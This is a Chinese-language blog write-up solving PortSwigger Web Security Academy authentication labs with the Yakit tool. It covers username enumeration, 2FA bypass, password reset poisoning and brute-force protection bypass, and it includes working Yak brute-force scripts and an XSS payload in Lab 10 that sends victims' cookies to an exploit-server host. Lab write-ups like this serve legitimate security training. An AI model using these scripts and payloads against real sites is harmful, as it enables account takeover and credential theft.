靶场 | 16分钟
Yakit打BurpSuite靶场—认证篇
三月 3, 2025
身份验证 未授权 暴力破解 CSRF 2FA

让我们欢迎渗透测试三巨头之一!SRC一方霸主!未授权!

未授权属于认证

认证大多是逻辑漏洞,开发不把认证做好,就会产生许多越权攻击。

Lab 1

Username enumeration via different responses

直接插入临时字典爆破就行,每次靶场预设的用户名都不一样

优先检查用户名,用户名不对就显示Invalid username

用户名对了,密码错了,就显示Incorrect password

所以观察返回长度,长一点的就是密码错了,这也暗示用户名是对的,所以可以中止爆破,将用户名修改好,再单独对密码进行爆破。

当然也可以继续等下去,一直等到刚好用户名与密码都正确。

Lab 2

2FA simple bypass

两步验证形同虚设,账号登录进去就已经给我session了。不过在登录进去多做了一步验证码,此时直接访问my account就行

Lab 3

Password reset broken logic

访问的密码重置链接,链接指向的网页在提交新密码时同时传递了账号密码,此时可以修改账号,达到修改密码的目的

Lab 4

Username enumeration via subtly different responses

匹配器匹配那个<p class=is-warning>Invalid username or password.</p>

有一个不同,没有.,他就是用户名

然后拿用户名跑密码,302就是的

Lab 5

Username enumeration via response timing

动态XFF即可,插入标签{{int::1(1-254)},然后username那里插入{{payload::1(BP_username)}}

这样的话,每个username都对应一个IP,就不会被封禁

Lab 6

Broken brute-force protection, IP block

错的多了就封禁,但是登录正确用户就清除封禁记录

所以爆破思路就是字典里的密码爆破一个,就填写一个正确的用户去清除错误记录,然后再爆破一个密码。以此来把密码字典跑完,所以这个实现有三种方法:

1、制作交替的字典,用户名简单,就俩用户名交替,密码制作也简单,每行内插入一个已知用户的密码。把这两个字典同行匹配爆破即可。注意并发为1

2、热加载,类似于BurpSuite的宏,在每次发包前,发送一次正确用户账号密码的包

注意:包必须替换为你的Cookie,如果你要复制全部请求头进去,有个请求头为sec-ch-ua,他的值有半个括号,导致代码括号闭合有问题,你可以删掉这个括号。

代码如下,我已精简请求包:

go
 1beforeRequest = func(req) { /* beforeRequest将在请求发起之前执行 */
 2    // 发送GET请求,获取响应
 3    rsp, _, err = poc.HTTP(`POST /login HTTP/1.1
 4Host: 0ad3009604a2fcecd419d948003e0059.web-security-academy.net
 5Cookie: session=QmQLegdClZJBN1wKoZaGHK5OlsJOFO3r
 6
 7username=wiener&password=peter`,poc.https(true)) /* 这里可以替换为你需要的请求 */
 8    if err != nil {
 9        return req
10    }
11    return req
12}

3、使用Yakit序列,第一个节点插入密码字典,第二个节点是正确用户的登录包,这俩包的并发都降低到1。每次第一个节点发送了一个密码爆破包,就会触发第二个节点的正确登录包,这样也能交替完成爆破,注意yakit中这俩节点的响应是分开显示的。

最快应该是热加载,由于每次发包前都会发送正确的包,所以他可以并发。

其他两个方法不能并发,因为你正确用户可能还没清理掉封禁记录,你就并发了几个密码出去了,由于封禁,很大概率你测试不出来是否是正确密码

思考🤔:序列线程为1,第一个节点发送密码,此时第二个节点开始发包,但第一个节点发送完后,第二次发包又开始了。第二个节点的包如果晚于第一个节点的第二个包,会不会导致没清除掉记录就又发了密码测试?

Lab 7

Username enumeration via account lock

爆破用户名,有一个用户名显示不同,只有那个用户名才会封禁,他就是目标用户名

然后爆破密码即可,虽然显示封禁,但是正确密码的长度仍然不同,响应里是没有报错的

Lab 8

2FA broken logic

verify参数是决定让谁生成验证码,然后修改username为carlos。爆破验证码

Lab 9

Brute-forcing a stay-logged-in cookie

进入my account,抓包,删除session,爆破stay-logged-in参数,这个参数base64解开,后半段是密码的md5,所以爆破的编码标签就是:

http
1Cookie: stay-logged-in={{base64enc(carlos:{{md5({{payload(BP_password)}})}})}};

请求包的第一行要修改为id=carlos,然后错误包显示302跳转到登录,正确包会显示200 my account页面

Lab 10

Offline password cracking

XSS窃取cookie,访问自己cookie之前,服务器接收到受害者cookie,解开就行

html
1<script>document.location=("https://exploit-0aa500b3035b3ae0bfad75840125006b.exploit-server.net/"+document.cookie+"/")</script>

后台有个机器人carlos在访问帖子,如果刚好时间一致就能获取到cookie,通常是第一个帖子

Lab 11

Password reset poisoning via middleware

加上XFH,链接会被发送到XFH地址,这是初始地址的意思,防止服务器发给代理服务器的。XFH格式与Host格式一致

网络不好,会导致收不到请求,多发包多等待

Lab 12

Password brute-force via password change

用户名、当前密码、新密码、再次输入新密码

优先比对当前密码,然后比对新密码与再次输入的新密码

所以让新密码不一样,使当前密码错显示密码错,当前密码对显示新密码错

就这个逻辑爆破就行

Lab 13

Broken brute-force protection, multiple credentials per request

把字典写为数组作为password字段的值,用302响应中的session登录

Lab 14

2FA bypass using a brute-force attack

2FA有一种是官方发验证码,发邮件或者短信,这种是你每次登录都会重新生成的,现在无法爆破这种,这相当于一次一密,已经很安全了。

还有一种是手机令牌,大家用过steam或者google 令牌都知道,验证器有一串字符,然后过一会就会更换。你在登录时需要填写这个字符。

而这个靶场的2FA就类似于手机令牌,但是它的时效非常久。我们要在这个时间内爆破出来。

flowchart TD A[开始] --> B(Step 1:访问登录页面) B --> |提取session与csrf| C(Step 2:登录账号) C -->|提取新的session 2| D(Step 3:访问2FA页面) D -->|提取新的csrf 2| E(爆破验证码) E -->|爆破剩余字典| B

用这个逻辑就行,序列执行流程看下面的图文部分。

这个靶场脆弱点在于,登录后验证码更新时间太久,如果你爆破不出来,那就再执行一遍,或者收集发送失败的包,丢失参数的包,再发一遍。

发现这个题,yakit并没有bp好用。这边需要老传递变量,而bp的宏勾选对应的包就行

Yakit一打就崩,现在是凌晨5点半,提交了崩溃日志,希望起床能得到回复


现在是2025/3/12,负责这块的Rookie发了个1.3.9-alpha312版本引擎给我,不崩了。

注意get login那个包可以并发,会快一些。启动器不要并发

并且爆破出了验证码,状态码302的就是,用session登录carlos的账号

这里贴一下序列流程和具体请求包(请求包已删除无用字段),注意变量设置和提取器规则。并且把所有靶场链接替换成自己的

第一个节点:字典分叉pass

目的是逐个发包,每次都会调用后面的序列

语法错了都没事,乱写都没事,主要是执行就可以,他就是为了调用序列用的,然后把每个验证码发过去

http
1HEAD /{{p(pass)}} HTTP/1.1
2Host: www.example.com
3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

第二个节点:获取session与csrf

由于登录时会有个随机session和csrf,所以需要提前获取一下。然后传递给登录包用,这里请求包删掉session,然后响应包就会分配一个session和csrf

http
1GET /login HTTP/1.1
2Host: 0a1b007504b717e3819930bf005900d5.web-security-academy.net

第三个节点:登录页面

登录后是302跳转,这里会再分配一个session,需要获取一下给后面的2FA页面用

http
1POST /login HTTP/1.1
2Host: 0a1b007504b717e3819930bf005900d5.web-security-academy.net
3Cookie: session={{p(session)}}
4
5
6csrf={{p(csrf)}}&username=carlos&password=montoya

第四个节点:访问2FA页面

2FA的页面是login2,提交验证码页面有个新csrf需要获取一下

http
1GET /login2 HTTP/1.1
2Host: 0a1b007504b717e3819930bf005900d5.web-security-academy.net
3Cookie: session={{p(session2)}}

第五个节点:爆破验证码

把新的session和csrf填进去,爆破一个验证码。由于第一个启动器会不断从字典中取值发包,所以这边流程走完也就能慢慢爆破完验证码

http
1POST /login2 HTTP/1.1
2Host: 0a1b007504b717e3819930bf005900d5.web-security-academy.net
3Cookie: session={{p(session2)}}
4
5csrf={{p(csrf2)}}&mfa-code={{p(pass)}}

遇到302就是正确验证码,然后用session登录

流程清晰了,那么脚本就好写了:

热加载:

yak
 1
 2beforeRequest = func(req) { 
 3    // 访问登录页
 4    url="https://0a9e001f037bdb47823915920053009e.web-security-academy.net"
 5    rsp, _ = poc.Get(url+"/login",poc.retryTimes(10))~
 6    csrf1=re.FindSubmatch(rsp.RawPacket, `value="([^"]*)"`)[1]
 7    session1=re.FindSubmatch(rsp.RawPacket, `session=([^;]*);`)[1]
 8
 9    // 登录账号
10    rsp, _ = poc.Post(url+"/login", poc.appendCookie("session",session1),poc.replaceBody(f"csrf=${csrf1}&username=carlos&password=montoya", false),poc.retryTimes(10),poc.noRedirect(true))~ 
11    session2=re.FindSubmatch(rsp.RawPacket, `session=([^;]*);`)[1]
12
13    // 访问2FA
14    rsp, _ = poc.Get(url+"/login2",poc.appendCookie("session",session2),poc.retryTimes(10))~
15    csrf2=re.FindSubmatch(rsp.RawPacket, `value="([^"]*)"`)[1]
16
17    // 替换参数
18    req = str.ReplaceAll(req, "__session__", session2)
19    req = str.ReplaceAll(req, "__csrf__", csrf2)
20
21    return []byte(req)
22}